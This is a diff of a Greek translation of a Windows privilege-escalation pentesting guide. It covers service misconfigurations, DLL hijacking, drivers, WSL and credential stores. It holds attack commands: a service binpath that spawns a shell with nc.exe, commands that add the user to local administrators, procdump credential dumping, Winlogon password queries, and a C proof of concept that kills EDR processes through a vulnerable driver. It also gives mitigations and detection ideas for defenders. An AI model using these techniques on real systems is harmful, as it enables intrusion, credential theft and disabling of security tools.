για να **μάθετε για ενδιαφέροντα tokens** και πώς να τα εκμεταλλευτείτε: {{#ref}} @@ -387,12 +387,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Εκτελούμενες διεργασίες +## Εκτελούμενες Διεργασίες -### Δικαιώματα αρχείων και φακέλων +### Δικαιώματα Αρχείων και Φακέλων -Πρώτα απ' όλα, καταγράφοντας τις διεργασίες **ελέξτε για κωδικούς μέσα στη γραμμή εντολών της διεργασίας**.\ -Ελέγξτε αν μπορείτε να **αντικαταστήσετε κάποιο binary που εκτελείται** ή αν έχετε δικαιώματα εγγραφής στον φάκελο του binary για να εκμεταλλευτείτε πιθανές [**DLL Hijacking attacks**](dll-hijacking/index.html): +Πρώτα απ' όλα, καταγράφοντας τις διεργασίες, **ελέγξτε για κωδικούς μέσα στη γραμμή εντολών της διεργασίας**.\ +Ελέγξτε αν μπορείτε να **επαναγράψετε κάποιο εκτελούμενο binary** ή αν έχετε δικαιώματα εγγραφής στον φάκελο των binaries για να εκμεταλλευτείτε πιθανές [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -403,9 +403,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Ελέγχετε πάντα για πιθανούς [**electron/cef/chromium debuggers** που τρέχουν, μπορείτε να τα εκμεταλλευτείτε για να escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Ελέγχετε πάντα για πιθανούς [**electron/cef/chromium debuggers** που τρέχουν — μπορείτε να τα εκμεταλλευτείτε για να αναβαθμίσετε προνόμια](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Έλεγχος δικαιωμάτων των binaries των processes** +**Έλεγχος δικαιωμάτων των binaries των διεργασιών** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -414,7 +414,7 @@ icacls "%%z" ) ) ``` -**Έλεγχος δικαιωμάτων των φακέλων των binaries των διεργασιών (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Έλεγχος δικαιωμάτων των φακέλων των δυαδικών αρχείων των διεργασιών (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -424,13 +424,13 @@ todos %username%" && echo. ``` ### Memory Password mining -Μπορείτε να δημιουργήσετε ένα memory dump μιας διεργασίας που τρέχει χρησιμοποιώντας **procdump** από sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials in clear text in memory** — δοκιμάστε να dump τη μνήμη και να διαβάσετε τα credentials. +Μπορείς να δημιουργήσεις ένα memory dump ενός running process χρησιμοποιώντας **procdump** από sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials in clear text in memory**, δοκίμασε να κάνεις dump της memory και να διαβάσεις τα credentials. ```bash procdump.exe -accepteula -ma ``` -### Μη ασφαλείς GUI εφαρμογές +### Ανασφαλείς GUI εφαρμογές -**Εφαρμογές που τρέχουν ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να ανοίξει ένα CMD ή να περιηγηθεί σε καταλόγους.** +**Οι εφαρμογές που εκτελούνται ως SYSTEM ενδέχεται να επιτρέπουν σε έναν χρήστη να ανοίξει ένα CMD ή να περιηγηθεί σε καταλόγους.** Παράδειγμα: "Windows Help and Support" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Click to open Command Prompt" @@ -445,11 +445,11 @@ Get-Service ``` ### Δικαιώματα -Μπορείτε να χρησιμοποιήσετε **sc** για να λάβετε πληροφορίες σχετικά με μια υπηρεσία +Μπορείτε να χρησιμοποιήσετε **sc** για να λάβετε πληροφορίες για μια υπηρεσία ```bash sc qc ``` -Συνιστάται να έχετε το δυαδικό **accesschk** από το _Sysinternals_ για να ελέγξετε το απαιτούμενο επίπεδο προνομίων για κάθε υπηρεσία. +Συνιστάται να έχετε το binary **accesschk** από το _Sysinternals_ για να ελέγξετε το απαιτούμενο επίπεδο προνομίων για κάθε service. ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -460,14 +460,14 @@ accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[Μπορείτε να κατεβάσετε το accesschk.exe για XP εδώ](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[Μπορείτε να κατεβάσετε το accesschk.exe για XP από εδώ](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Ενεργοποίηση υπηρεσίας -Εάν λαμβάνετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV): +Εάν λαμβάνετε αυτό το σφάλμα (για παράδειγμα με SSDPSRV): _Παρουσιάστηκε σφάλμα συστήματος 1058._\ -_Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει συνδεδεμένες ενεργοποιημένες συσκευές._ +_Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν υπάρχουν ενεργοποιημένες συσκευές συνδεδεμένες με αυτήν._ Μπορείτε να την ενεργοποιήσετε χρησιμοποιώντας ```bash @@ -476,13 +476,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Λάβετε υπόψη ότι η υπηρεσία upnphost εξαρτάται από την SSDPSRV για να λειτουργήσει (για XP SP1)** -**Μια άλλη παράκαμψη** αυτού του προβλήματος είναι να εκτελέσετε: +**Μια άλλη παράκαμψη** αυτού του προβλήματος είναι η εκτέλεση: ``` sc.exe config usosvc start= auto ``` -### **Τροποποίηση διαδρομής δυαδικού αρχείου υπηρεσίας** +### **Τροποποίηση της διαδρομής εκτελέσιμου της υπηρεσίας** -Στο σενάριο όπου η ομάδα "Authenticated users" διαθέτει **SERVICE_ALL_ACCESS** σε μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου δυαδικού αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε **sc**: +Στο σενάριο όπου η ομάδα "Authenticated users" διαθέτει **SERVICE_ALL_ACCESS** για μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε το **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -495,20 +495,20 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Η κλιμάκωση προνομίων μπορεί να γίνει μέσω διαφόρων δικαιωμάτων: +Τα προνόμια μπορούν να κλιμακωθούν μέσω διαφόρων δικαιωμάτων: -- **SERVICE_CHANGE_CONFIG**: Επιτρέπει την επαναδιαμόρφωση του service binary. -- **WRITE_DAC**: Επιτρέπει την επαναδιαμόρφωση δικαιωμάτων, οδηγώντας στη δυνατότητα αλλαγής των ρυθμίσεων υπηρεσίας. -- **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση δικαιωμάτων. -- **GENERIC_WRITE**: Κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων υπηρεσίας. -- **GENERIC_ALL**: Επίσης κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων υπηρεσίας. +- **SERVICE_CHANGE_CONFIG**: Επιτρέπει την επαναδιαμόρφωση του εκτελέσιμου αρχείου της υπηρεσίας. +- **WRITE_DAC**: Επιτρέπει την επαναδιαμόρφωση των permissions, οδηγώντας στη δυνατότητα αλλαγής ρυθμίσεων υπηρεσίας. +- **WRITE_OWNER**: Επιτρέπει απόκτηση ιδιοκτησίας και επαναδιαμόρφωση permissions. +- **GENERIC_WRITE**: Κληρονομεί τη δυνατότητα αλλαγής ρυθμίσεων υπηρεσίας. +- **GENERIC_ALL**: Επίσης κληρονομεί τη δυνατότητα αλλαγής ρυθμίσεων υπηρεσίας. -Για τον εντοπισμό και την εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_. +Για την ανίχνευση και exploitation αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_. -### Αδύναμα δικαιώματα των service binaries +### Αδύναμα δικαιώματα στα binaries των υπηρεσιών -**Ελέγξτε αν μπορείτε να τροποποιήσετε το binary που εκτελείται από μια υπηρεσία** ή αν έχετε **δικαιώματα εγγραφής στον φάκελο** όπου βρίσκεται το binary ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Μπορείτε να πάρετε κάθε binary που εκτελείται από μια υπηρεσία χρησιμοποιώντας **wmic** (όχι στο system32) και να ελέγξετε τα δικαιώματά σας χρησιμοποιώντας **icacls**: +**Ελέγξτε αν μπορείτε να τροποποιήσετε το binary που εκτελείται από μια υπηρεσία** ή αν έχετε **write permissions στον φάκελο** όπου βρίσκεται το binary ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Μπορείτε να λάβετε κάθε binary που εκτελείται από μια υπηρεσία χρησιμοποιώντας **wmic** (όχι στο system32) και να ελέγξετε τα permissions σας χρησιμοποιώντας **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -532,15 +532,16 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Πρέπει να ελεγχθεί εάν οι **Authenticated Users** ή **NT AUTHORITY\INTERACTIVE** διαθέτουν `FullControl` δικαιώματα. Σε αυτή την περίπτωση, το binary που εκτελείται από την υπηρεσία μπορεί να αλλαχθεί. +Πρέπει να ελεγχθεί εάν οι **Authenticated Users** ή **NT AUTHORITY\INTERACTIVE** κατέχουν δικαιώματα `FullControl`. Αν ναι, το binary που εκτελείται από την υπηρεσία μπορεί να αλλαχθεί. -Για να αλλάξετε το Path του binary που εκτελείται: +Για να αλλάξετε το `Path` του binary που εκτελείται: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Δικαιώματα AppendData/AddSubdirectory στο Services registry +### Services registry AppendData/AddSubdirectory permissions + +Εάν έχετε αυτό το δικαίωμα πάνω σε ένα registry, αυτό σημαίνει ότι **μπορείτε να δημιουργήσετε υπο-registries από αυτό**. Σε περίπτωση Windows services αυτό είναι **αρκετό για να εκτελέσετε αυθαίρετο κώδικα:** -Αν έχετε αυτό το δικαίωμα πάνω σε ένα registry, αυτό σημαίνει ότι **μπορείτε να δημιουργήσετε sub registries από αυτό**. Στην περίπτωση των Windows services αυτό είναι **αρκετό για να εκτελέσετε arbitrary code:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -548,15 +549,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Αν η διαδρομή προς ένα executable δεν βρίσκεται μέσα σε quotes, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τμήμα πριν από ένα κενό. +Εάν το μονοπάτι προς ένα εκτελέσιμο αρχείο δεν βρίσκεται μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τμήμα της διαδρομής που τελειώνει πριν από κάθε κενό. -Για παράδειγμα, για τη διαδρομή _C:\Program Files\Some Folder\Service.exe_ τα Windows θα προσπαθήσουν να εκτελέσουν: +Για παράδειγμα, για το μονοπάτι _C:\Program Files\Some Folder\Service.exe_ τα Windows θα προσπαθήσουν να εκτελέσουν: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Καταγράψτε όλες τις διαδρομές υπηρεσιών που δεν είναι περικλεισμένες σε εισαγωγικά, εξαιρουμένων εκείνων που ανήκουν στις ενσωματωμένες υπηρεσίες των Windows: +Καταγράψτε όλες τις μη-περιεχόμενες σε εισαγωγικά διαδρομές υπηρεσιών, εξαιρώντας αυτές που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -576,19 +577,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Μπορείτε να εντοπίσετε και να εκμεταλλευτείτε** αυτή την ευπάθεια με metasploit: `exploit/windows/local/trusted\_service\_path` Μπορείτε να δημιουργήσετε χειροκίνητα ένα service binary με metasploit: +**Μπορείτε να εντοπίσετε και να εκμεταλλευτείτε** αυτή την ευπάθεια με το metasploit: `exploit/windows/local/trusted\_service\_path` Μπορείτε να δημιουργήσετε χειροκίνητα ένα service binary με το metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### Ενέργειες Ανάκτησης +### Ενέργειες ανάκτησης -Τα Windows επιτρέπουν στους χρήστες να καθορίζουν ενέργειες που θα εκτελεστούν αν μια υπηρεσία αποτύχει. Αυτή η λειτουργία μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα binary. Αν αυτό το binary μπορεί να αντικατασταθεί, μπορεί να είναι δυνατή η privilege escalation. Περισσότερες λεπτομέρειες στην [επίσημη τεκμηρίωση](). +Windows επιτρέπει στους χρήστες να καθορίζουν ενέργειες που πρέπει να εκτελεστούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα binary. Εάν αυτό το binary είναι αντικαταστάσιμο, ενδέχεται να είναι δυνατή η privilege escalation. Περισσότερες λεπτομέρειες μπορείτε να βρείτε στην [επίσημη τεκμηρίωση](). ## Εφαρμογές ### Εγκατεστημένες Εφαρμογές -Ελέγξτε τα **δικαιώματα των binaries** (ίσως μπορείτε να αντικαταστήσετε ένα και να πραγματοποιηθεί privilege escalation) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). +Ελέγξτε τα **δικαιώματα των binaries** (ίσως μπορείτε να αντικαταστήσετε κάποιο και να escalate privileges) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -597,9 +598,9 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Δικαιώματα εγγραφής +### Write Permissions -Ελέγξτε αν μπορείτε να τροποποιήσετε κάποιο config file για να διαβάσετε κάποιο ειδικό αρχείο ή αν μπορείτε να τροποποιήσετε κάποιο binary που πρόκειται να εκτελεστεί από έναν λογαριασμό Administrator (schedtasks). +Ελέγξτε αν μπορείτε να τροποποιήσετε κάποιο config file για να διαβάσετε κάποιο ειδικό αρχείο ή αν μπορείτε να τροποποιήσετε κάποιο binary που πρόκειται να εκτελεστεί από λογαριασμό Administrator (schedtasks). Ένας τρόπος να βρείτε αδύναμα δικαιώματα φακέλων/αρχείων στο σύστημα είναι να κάνετε: ```bash @@ -626,8 +627,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Εκτέλεση κατά την εκκίνηση -**Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποιο registry ή binary που πρόκειται να εκτελεστεί από διαφορετικό χρήστη.**\ -**Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα σχετικά με ενδιαφέρουσες **autoruns locations to escalate privileges**: +**Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποιο registry ή binary που θα εκτελεστεί από διαφορετικό χρήστη.**\ +**Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα για ενδιαφέροντα **autoruns locations to escalate privileges**: {{#ref}} @@ -636,29 +637,62 @@ privilege-escalation-with-autorun-binaries.md ### Drivers -Ψάξτε για πιθανούς **third party weird/vulnerable** drivers +Αναζητήστε πιθανούς **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Αν ένας driver εκθέει ένα arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), μπορείς να escalate παίρνοντας ένα SYSTEM token απευθείας από kernel memory. Δες τη step‑by‑step τεχνική εδώ: +If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} +#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) + +Κάποιοι signed third‑party drivers δημιουργούν το device object τους με ισχυρό SDDL μέσω IoCreateDeviceSecure αλλά ξεχνούν να ορίσουν FILE_DEVICE_SECURE_OPEN στα DeviceCharacteristics. Χωρίς αυτή τη σημαία, το secure DACL δεν εφαρμόζεται όταν η συσκευή ανοίγεται μέσω ενός path που περιέχει ένα επιπλέον component, επιτρέποντας σε οποιονδήποτε μη προνομιακό χρήστη να λάβει ένα handle χρησιμοποιώντας ένα namespace path όπως: + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) + +Μόλις ένας χρήστης μπορεί να ανοίξει τη συσκευή, privileged IOCTLs που εκτίθενται από τον driver μπορούν να καταχρηστούν για LPE και tampering. Παραδείγματα δυνατοτήτων που παρατηρήθηκαν στο wild: +- Επιστροφή handles με πλήρη πρόσβαση σε arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Απεριόριστο raw disk read/write (offline tampering, boot-time persistence tricks). +- Τερματισμός arbitrary processes, συμπεριλαμβανομένων Protected Process/Light (PP/PPL), επιτρέποντας AV/EDR kill από user land μέσω kernel. + +Minimal PoC pattern (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` +Μέτρα μετριασμού για προγραμματιστές +- Ορίστε πάντα FILE_DEVICE_SECURE_OPEN όταν δημιουργείτε device objects που προορίζονται να περιοριστούν από μια DACL. +- Επαληθεύστε το caller context για privileged operations. Προσθέστε ελέγχους PP/PPL πριν επιτρέψετε process termination ή handle returns. +- Περιορίστε τα IOCTLs (access masks, METHOD_*, input validation) και εξετάστε brokered models αντί για άμεσα kernel privileges. + +Ιδέες ανίχνευσης για αμυντές +- Παρακολουθήστε τα user-mode opens για ύποπτα device names (π.χ., \\ .\\amsdk*) και συγκεκριμένες IOCTL ακολουθίες που υποδηλώνουν κατάχρηση. +- Επιβάλετε το vulnerable driver blocklist της Microsoft (HVCI/WDAC/Smart App Control) και διατηρήστε δικές σας λίστες επιτρεπόμενων/αποκλεισμένων. ## PATH DLL Hijacking -Αν έχεις **write permissions inside a folder present on PATH** μπορείς να hijack a DLL που έχει φορτωθεί από μια διεργασία και να **escalate privileges**. +Εάν έχετε **δικαιώματα εγγραφής σε φάκελο που βρίσκεται στο PATH** μπορεί να είστε σε θέση να hijack μια DLL που φορτώνεται από μια process και να **αναβαθμίσετε τα προνόμια**. -Έλεγξε τα permissions όλων των φακέλων στο PATH: +Ελέγξτε τα δικαιώματα όλων των φακέλων μέσα στο PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτόν τον έλεγχο: + {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}} @@ -675,7 +709,7 @@ net share #Check current shares ``` ### αρχείο hosts -Ελέγξτε για άλλους γνωστούς υπολογιστές που είναι σκληρά κωδικοποιημένοι στο αρχείο hosts +Ελέγξτε για άλλους γνωστούς υπολογιστές που έχουν οριστεί χειροκίνητα στο αρχείο hosts ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -685,9 +719,9 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Ανοιχτές Θύρες +### Open Ports -Ελέγξτε για **περιορισμένες υπηρεσίες** από έξω +Ελέγξτε για **περιορισμένες υπηρεσίες** από το εξωτερικό ```bash netstat -ano #Opened ports? ``` @@ -703,31 +737,31 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Κανόνες Firewall -[**Ελέγξτε αυτήν τη σελίδα για εντολές σχετικές με το Firewall**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(εμφάνιση κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** -Περισσότερες[ εντολές για την αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network) +Περισσότερα[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) -### Υποσύστημα Windows για Linux (wsl) +### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` Το δυαδικό `bash.exe` μπορεί επίσης να βρεθεί στο `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Εάν αποκτήσετε τον root user, μπορείτε να ακούτε σε οποιαδήποτε θύρα (την πρώτη φορά που θα χρησιμοποιήσετε `nc.exe` για να ακούσετε σε μια θύρα, θα ρωτήσει μέσω GUI αν το `nc` θα πρέπει να επιτραπεί από το firewall). +Αν αποκτήσετε δικαιώματα root, μπορείτε να ακούτε σε οποιαδήποτε θύρα (την πρώτη φορά που θα χρησιμοποιήσετε το `nc.exe` για να ακούσετε σε μια θύρα, θα ζητήσει μέσω GUI αν το `nc` πρέπει να επιτραπεί από το firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Για να ξεκινήσετε εύκολα το bash ως root, μπορείτε να δοκιμάσετε `--default-user root` +Για να ξεκινήσετε εύκολα bash ως root, μπορείτε να δοκιμάσετε `--default-user root` -Μπορείτε να εξερευνήσετε το `WSL` filesystem στον φάκελο `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Μπορείτε να εξερευνήσετε το σύστημα αρχείων του `WSL` στον φάκελο `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -## Windows Credentials +## Windows Διαπιστευτήρια -### Winlogon Credentials +### Winlogon Διαπιστευτήρια ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -739,16 +773,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Credentials manager / Windows vault +### Διαχειριστής διαπιστευτηρίων / Windows vault -Από [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Το Windows Vault αποθηκεύει διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα στα οποία το **Windows** μπορεί να **συνδέσει αυτόματα τους χρήστες**. Σε πρώτη ανάγνωση, αυτό μπορεί να μοιάζει ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήριά τους για Facebook, Twitter, Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των browsers. Όμως δεν είναι έτσι. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Το Windows Vault αποθηκεύει τα credentials των χρηστών για servers, websites και άλλα προγράμματα στα οποία το **Windows** μπορεί να πραγματοποιεί αυτόματη σύνδεση των χρηστών. Σε πρώτη ανάγνωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύουν τα Facebook credentials, Twitter credentials, Gmail credentials κ.λπ., ώστε να πραγματοποιούν αυτόματη είσοδο μέσω των browsers. Ωστόσο, δεν είναι έτσι. -Το Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να χρησιμοποιήσει για αυτόματη σύνδεση χρηστών, που σημαίνει ότι οποιαδήποτε **Windows application που χρειάζεται διαπιστευτήρια για πρόσβαση σε έναν πόρο** (διακομιστή ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτό το Credential Manager** & Windows Vault και να χρησιμοποιήσει τα παρεχόμενα διαπιστευτήρια αντί να εισάγει ο χρήστης συνεχώς όνομα και κωδικό. +Το Windows Vault αποθηκεύει credentials που το **Windows** μπορεί να χρησιμοποιήσει για να συνδέει τους χρήστες αυτόματα, πράγμα που σημαίνει ότι οποιαδήποτε εφαρμογή Windows που χρειάζεται credentials για να έχει πρόσβαση σε έναν πόρο (server ή website) μπορεί να αξιοποιήσει αυτόν τον Credential Manager & Windows Vault και να χρησιμοποιήσει τα παρεχόμενα credentials αντί οι χρήστες να εισάγουν συνέχεια username και password. -Εκτός αν οι εφαρμογές αλληλεπιδρούν με το Credential Manager, δεν νομίζω ότι είναι δυνατή η χρήση των διαπιστευτηρίων για έναν δεδομένο πόρο. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει κάπως να **επικοινωνήσει με το credential manager και να ζητήσει τα διαπιστευτήρια για αυτόν τον πόρο** από το προεπιλεγμένο storage vault. +Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα credentials για έναν συγκεκριμένο πόρο. Επομένως, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει με κάποιο τρόπο να **επικοινωνεί με τον credential manager και να ζητάει τα credentials για αυτόν τον πόρο** από το προεπιλεγμένο storage vault. -Χρησιμοποιήστε το `cmdkey` για να απαριθμήσετε τα αποθηκευμένα διαπιστευτήρια στο μηχάνημα. +Use the `cmdkey` to list the stored credentials on the machine. ```bash cmdkey /list Currently stored credentials: @@ -768,26 +802,26 @@ C:\Windows\System32\runas.exe /env /noprofile /user: "c:\us ### DPAPI -Η **Data Protection API (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, που χρησιμοποιείται κυρίως στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση αξιοποιεί ένα μυστικό χρήστη ή συστήματος για να προσφέρει σημαντική εντροπία. +Η **Data Protection API (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, που χρησιμοποιείται κυρίως μέσα στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση των ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση αξιοποιεί ένα μυστικό χρήστη ή συστήματος για να συνεισφέρει σημαντικά στην εντροπία. -**Το DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προκύπτει από τα διαπιστευτήρια σύνδεσης του χρήστη**. Σε σενάρια που αφορούν κρυπτογράφηση συστήματος, χρησιμοποιεί τα μυστικά πιστοποίησης του domain του συστήματος. +**Το DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προέρχεται από τα μυστικά σύνδεσης του χρήστη**. Σε σενάρια που αφορούν συστημική κρυπτογράφηση, αξιοποιεί τα μυστικά αυθεντικοποίησης domain του συστήματος. -Τα κρυπτογραφημένα RSA κλειδιά χρήστη, με χρήση του DPAPI, αποθηκεύονται στον κατάλογο 